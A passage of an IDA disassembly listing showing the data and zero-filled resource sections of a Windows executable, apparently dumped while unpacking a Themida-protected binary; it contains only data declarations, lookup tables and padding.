; ___:0040FA10r ...
dd 3 dup(0)
dword_4CE72C dd 0 ; DATA XREF: ___:00411306r
dd 0
dword_4CE734 dd 0 ; DATA XREF: sub_412EDD+4w
; sub_412EDD+9o
dd 10Ah dup(0)
dword_4CEB60 dd 188h dup(0) ; DATA XREF: sub_401ACD+2F25o
; sub_401ACD:loc_404A7Bo
dword_4CF180 dd 0 ; DATA XREF: sub_401ACD+19C3w
; sub_401ACD+2F1Dr ...
dd 11Ch dup(0)
dword_4CF5F4 dd 1000h dup(0) ; DATA XREF: sub_415D38+1Do
; sub_415DD8o ...
dword_4D35F4 dd 0 ; DATA XREF: sub_415D38+13o
; sub_415DD8+Eo ...
dword_4D35F8 dd 0Eh dup(0) ; DATA XREF: sub_416CC9+Fo
dword_4D3630 dd 80h dup(0) ; DATA XREF: sub_417990+41o
dword_4D3830 dd 200h dup(0) ; DATA XREF: sub_4172C1+C7o
; sub_41761C+DDo ...
dword_4D4030 dd 48h dup(0) ; DATA XREF: sub_4172C1+D6o
; sub_41761C+F4o ...
db 2 dup(0)
word_4D4152 dw 0 ; DATA XREF: ___:off_4383A8o
dd 1B7h dup(0)
dword_4D4830 dd 0 ; DATA XREF: sub_4172C1+86w
; sub_417493+94r
dword_4D4834 dd 0 ; DATA XREF: sub_4172C1+A7w
; sub_4178F9+55r ...
dword_4D4838 dd 0 ; DATA XREF: sub_4172C1+A0w
; sub_417493+D6r ...
dword_4D483C dd 0 ; DATA XREF: sub_4172C1+79w
; sub_417493+35r ...
dword_4D4840 dd 80h dup(0) ; DATA XREF: sub_4178F9+5Eo
dword_4D4A40 dd 0 ; DATA XREF: sub_4172C1+93w
; sub_417493+A2r
align 8
dword_4D4A48 dd 0 ; DATA XREF: sub_4172C1+E7o
; sub_4172C1+103r ...
dword_4D4A4C dd 0 ; DATA XREF: sub_41761C+17Bw
; sub_4177C3+107w
dword_4D4A50 dd 0 ; DATA XREF: sub_41761C+180w
; sub_4177C3+10Dw ...
dword_4D4A54 dd 0 ; DATA XREF: sub_41761C+159w
; sub_4178F9+4Fr
dword_4D4A58 dd 0 ; DATA XREF: sub_417C61+22w
; sub_417C61:loc_417DE6w ...
dword_4D4A5C dd 0 ; DATA XREF: sub_401ACD+3C95o
; sub_417B2F+12o ...
dd 0
dword_4D4A64 dd 0 ; DATA XREF: sub_417C61+1Cr
; sub_417E06+3Ar
dd 7Fh dup(0)
dword_4D4C64 dd 0 ; DATA XREF: sub_417C61+28r
; sub_417E06+4Aw
dd 1944h dup(0)
dword_4DB178 dd 0 ; DATA XREF: sub_417E06+23o
dword_4DB17C dd 81h dup(0) ; DATA XREF: sub_401ACD+3CB9o
; sub_417B2F+3Co ...
dword_4DB380 dd 17h dup(0) ; DATA XREF: sub_418D2A:loc_418E47o
; sub_418D2A+131o ...
dword_4DB3DC dd 80h dup(0) ; DATA XREF: sub_419AE0+7Co
; sub_419AE0+A5o
dword_4DB5DC dd 0 ; DATA XREF: sub_4190A5+45w
; sub_4190A5+4Dr ...
dword_4DB5E0 dd 17h dup(0) ; DATA XREF: sub_4199AC:loc_419ACEo
; sub_4199AC+12Do
dword_4DB63C dd 80h dup(0) ; DATA XREF: sub_418FE5+4Co
; sub_418FE5+7Eo ...
byte_4DB83C db 0 ; DATA XREF: sub_4190A5+29r
; sub_4190A5+34w
align 10h
dword_4DB840 dd 80h dup(0) ; DATA XREF: sub_4192FC+61o
; sub_4192FC+89o ...
dword_4DBA40 dd 81h dup(0) ; DATA XREF: sub_418C0E:loc_418C46o
; sub_418C0E+5Bo
dword_4DBC44 dd 0 ; DATA XREF: sub_419F6D:loc_419F8Er
; sub_41A05C+54r ...
dword_4DBC48 dd 0 ; DATA XREF: sub_419F6Dr
; sub_41A05C+37r ...
dword_4DBC4C dd 0 ; DATA XREF: sub_419F9D+1Ar
; sub_41A1B1+83o
dword_4DBC50 dd 0 ; DATA XREF: sub_419F6D:loc_419F81r
; sub_41A1B1+11Bw
dword_4DBC54 dd 0Dh dup(0) ; DATA XREF: sub_41A05C+13o
; sub_41A1B1:loc_41A2EEo
dword_4DBC88 dd 0 ; DATA XREF: sub_41A05C+CDr
; sub_41A05C+ECr ...
align 10h
dword_4DBC90 dd 0Fh dup(0) ; DATA XREF: sub_41ADD8+47o
byte_4DBCCC db 0 ; DATA XREF: sub_41B52C+6o
; ___:0041B881o ...
align 10h
dd 3Fh dup(0)
dword_4DBDCC dd 2 dup(0) ; DATA XREF: sub_41B55B+18o
dword_4DBDD4 dd 2 dup(0) ; DATA XREF: sub_41B55B+8o
; ___:0041B6CAo
dword_4DBDDC dd 0 ; DATA XREF: sub_41C59D+1B9w
; ___:loc_41DB07w ...
dword_4DBDE0 dd 0 ; DATA XREF: sub_41DC5E+35w
; sub_41E312:loc_41E3ACw ...
dword_4DBDE4 dd 0 ; DATA XREF: sub_42423B+13Ar
dd 0A28h, 501h, 5, 1
dword_4DBDF8 dd 1 ; DATA XREF: ___:loc_401516r
; ___:0042381Dw
dword_4DBDFC dd 2470B30h ; DATA XREF: ___:0040151Fr
; ___:0040153Fr ...
dd 0
dword_4DBE04 dd 2470B58h ; DATA XREF: ___:00423717w
dd 3 dup(0)
off_4DBE14 dd offset aCM_unpackerPac ; DATA XREF: ___:004237BAw
; "C:\\m_unpacker\\packed.exe"
dd 0
byte_4DBE1C db 0 ; DATA XREF: sub_41C1B3+2Dw
; sub_4241E3+5r
align 10h
dword_4DBE20 dd 0 ; DATA XREF: sub_41C1B3+27w
dword_4DBE24 dd 0 ; DATA XREF: sub_41C1B3+4r
; sub_41C1B3+8Bw
dword_4DBE28 dd 0 ; DATA XREF: sub_41CAD4+3Br
; sub_41CAD4+91w
align 10h
dword_4DBE30 dd 0 ; DATA XREF: sub_41D124+Aw
dword_4DBE34 dd 0 ; DATA XREF: ___:loc_4236E5r
; ___:loc_423727r ...
dd 0
dword_4DBE3C dd 0 ; DATA XREF: sub_41E2C9r ___:0041E2F0o ...
dword_4DBE40 dd 0 ; DATA XREF: sub_41F3B0+4Bw
; sub_41F4C9+2Dw ...
dword_4DBE44 dd 0 ; DATA XREF: sub_41FBB2r
dword_4DBE48 dd 0 ; DATA XREF: sub_41BBE2:loc_41BCFEr
; sub_41BBE2:loc_41BE1Fr ...
dword_4DBE4C dd 1 ; DATA XREF: sub_420749:loc_4208C4r
; sub_4208E2+4w ...
dword_4DBE50 dd 0 ; DATA XREF: sub_420CE6+37r
align 8
dword_4DBE58 dd 0 ; DATA XREF: sub_422279+11r
; sub_42237D+1Ar ...
byte_4DBE5C db 0 ; DATA XREF: sub_422279+3r
; sub_422279+98r ...
align 10h
dword_4DBE60 dd 0 ; DATA XREF: sub_42237D+11r
; sub_42245B+21w ...
byte_4DBE64 db 0 ; DATA XREF: sub_42245B+51w
align 4
dword_4DBE68 dd 0 ; DATA XREF: sub_422651+4Er
; sub_422A2C+3Ar ...
dword_4DBE6C dd 0 ; DATA XREF: sub_422651+5Cr
; sub_422A2C+43r ...
dword_4DBE70 dd 0 ; DATA XREF: sub_41D3AA+7Ar
; sub_4227F8+5r
dword_4DBE74 dd 0 ; DATA XREF: sub_422DFC+29r
dword_4DBE78 dd 1 ; DATA XREF: sub_4232A8+28r
; sub_4232A8+4Cw ...
dd 2 dup(0)
dword_4DBE84 dd 0 ; DATA XREF: sub_41DE4A+4r
; sub_41DE4A+6Er ...
dd 3 dup(0)
dword_4DBE94 dd 0 ; DATA XREF: sub_41E0D4+61r
; sub_41E0D4+BFr ...
dd 0
dword_4DBE9C dd 0 ; DATA XREF: ___:00423531r
; ___:0042353Dw ...
aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: ___:loc_4237A3o
; ___:off_4DBE14o
align 4
dd 3Ah dup(0)
dword_4DBFA4 dd 1 ; DATA XREF: ___:004239DBr
; ___:004239FCw ...
dword_4DBFA8 dd 0 ; DATA XREF: sub_423D98+21r
dword_4DBFAC dd 0 ; DATA XREF: sub_41FBCD+154w
; sub_420CE6:loc_420D0Fw ...
dword_4DBFB0 dd 0 ; DATA XREF: sub_41FBCD+7r
dword_4DBFB4 dd 1 ; DATA XREF: sub_4244F4+26r
; sub_4244F4:loc_42455Ew
word_4DBFB8 dw 0 ; DATA XREF: sub_424DF9+1Ao
; sub_424DF9+46r
byte_4DBFBA db 0 ; DATA XREF: sub_424DF9+39r
align 4
dword_4DBFBC dd 7 dup(0) ; DATA XREF: sub_424DF9+52o
dword_4DBFD8 dd 0 ; DATA XREF: sub_424DF9+40w
; sub_424DF9+5Co
dword_4DBFDC dd 0 ; DATA XREF: sub_424DF9+4Dw
dword_4DBFE0 dd 0 ; DATA XREF: sub_424DF9+31w
dword_4DBFE4 dd 0 ; DATA XREF: sub_424DF9+52w
dword_4DBFE8 dd 77C26E79h ; DATA XREF: sub_424F1C:loc_424F3Fr
; sub_424F1C+38r ...
dword_4DBFEC dd 0 ; DATA XREF: sub_425029+3r
; sub_425029+2Ew ...
dword_4DBFF0 dd 0 ; DATA XREF: sub_425029+43w
; sub_425029:loc_425078r
dword_4DBFF4 dd 0 ; DATA XREF: sub_425029+4Aw
; sub_425029+60r
dword_4DBFF8 dd 0 ; DATA XREF: sub_42423B+3Fr
dword_4DBFFC dd 0 ; DATA XREF: sub_425C06:loc_425C6Dr
; sub_425C06+6Do
dword_4DC000 dd 0 ; DATA XREF: sub_425C06:loc_425C44r
; sub_425C06+44o
dword_4DC004 dd 0 ; DATA XREF: sub_425C06:loc_425C37r
; sub_425C06+37o
dword_4DC008 dd 0 ; DATA XREF: sub_425C06:loc_425C51r
; sub_425C06+51o
align 10h
dword_4DC010 dd 0 ; DATA XREF: sub_426636+28r
; sub_426636+4Cw ...
dword_4DC014 dd 0 ; DATA XREF: sub_4268C1+26r
; sub_4268C1:loc_42692Bw
byte_4DC018 db 0 ; DATA XREF: sub_40DB3Cr sub_40DB3C+9w
align 4
dword_4DC01C dd 2471140h ; DATA XREF: sub_41E490:loc_41E4A1r
; sub_41FD3D+14r ...
dword_4DC020 dd 400h dup(0) ; DATA XREF: ___:off_43D568o
; ___:0043D570o
dword_4DD020 dd 200h ; DATA XREF: sub_41E490+9r
; sub_41E490+56r ...
dd 7 dup(0)
dword_4DD040 dd 2470650h ; DATA XREF: sub_41F8E3+75r
; sub_41F9BC+2Ar ...
dword_4DD044 dd 3Fh dup(0) ; DATA XREF: ___:00423B9Do
dword_4DD140 dd 20h ; DATA XREF: sub_41E312+8r
; sub_41F9BC+Cr ...
dword_4DD144 dd 4E4h ; DATA XREF: sub_420749+14r
; sub_420749+65w ...
align 10h
dword_4DD150 dd 3 dup(0) ; DATA XREF: sub_420749+123o
; sub_420749+171o ...
dword_4DD15C dd 0 ; DATA XREF: sub_420749+108w
; sub_420749+15Dw ...
byte_4DD160 db 0 ; DATA XREF: sub_420988:loc_420A94w
; sub_420988:loc_420AB1w ...
align 4
dd 0Fh dup(0)
dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
dd 77767574h, 7A7978h, 0
dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
dd 57565554h, 5A5958h, 0
dd 83000000h, 0
dd 9A0000h, 9E009Ch, 2 dup(0)
dd 8A0000h, 0FF8E008Ch, 2 dup(0)
dd 0AA0000h, 2 dup(0)
dd 0B500h, 0BA0000h, 0
dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
dd 9FDEDDDCh
byte_4DD260 db 0 ; DATA XREF: sub_420749+5Co
; sub_420749+AFo ...
byte_4DD261 db 0 ; DATA XREF: sub_41C3B1+5Dr
; sub_420749+A0w ...
align 4
dd 0Fh dup(0)
dd 10100000h, 6 dup(10101010h), 0
dd 20200000h, 6 dup(20202020h), 2 dup(0)
dd 20h, 10000000h, 10001000h, 2 dup(0)
dd 20000000h, 20002000h, 10h, 0
dd 20000000h, 2 dup(0)
dd 200000h, 20000000h, 0
dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h)
dd 20202000h, 20202020h, 20h
dword_4DD364 dd 0 ; DATA XREF: sub_420749+6Ew
; sub_420749+12Bw ...
dword_4DD368 dd 0 ; DATA XREF: sub_41ED74+5r
; sub_41ED74+32w
dword_4DD36C dd 0 ; DATA XREF: sub_41E742+23Ar
; sub_41E742+25Ar ...
dword_4DD370 dd 0 ; DATA XREF: sub_41E742+311w
; sub_41EA6B:loc_41EABBr ...
dword_4DD374 dd 0 ; DATA XREF: sub_41E742+22Dr
; sub_41E742+260r ...
dword_4DD378 dd 0 ; DATA XREF: sub_41E717r
; sub_41E742+2CBr ...
dword_4DD37C dd 0 ; DATA XREF: sub_41E717+8r
; sub_41E742+2D0r ...
dword_4DD380 dd 0 ; DATA XREF: sub_41BBE2+5Cr
; sub_41BEF3+Fr ...
dword_4DD384 dd 2470000h ; DATA XREF: sub_41BA91+5Ar
; sub_41BBE2+C0r ...
dword_4DD388 dd 1 ; DATA XREF: sub_41BA91+Cr
; sub_41BBE2:loc_41BC12r ...
dword_4DD38C dd 142340h ; DATA XREF: ___:0042368Ar
; ___:004237B5r
dword_4DD390 dd 1 ; DATA XREF: ___:00423780w
dword_4DD394 dd 1 ; DATA XREF: sub_420B0Dr
; sub_420B0D+11w ...
dword_4DD398 dd 2470758h ; DATA XREF: sub_41C1B3+3Er
; sub_41D9B3+13r ...
dword_4DD39C dd 2470758h ; DATA XREF: sub_41C1B3+35r
; sub_41C1B3+57r ...
dd 318h dup(0)
dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 3FAh dup(0)
___ ends
; Section 2. (virtual address 000DF000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00001000 ( 4096.)
; Offset to raw data for section: 000DF000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_rsrc___ segment para public 'DATA' use32
assume cs:_rsrc___
;org 4DF000h
unk_4DF000 db 0 ; DATA XREF: Themida_:0054D860o
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
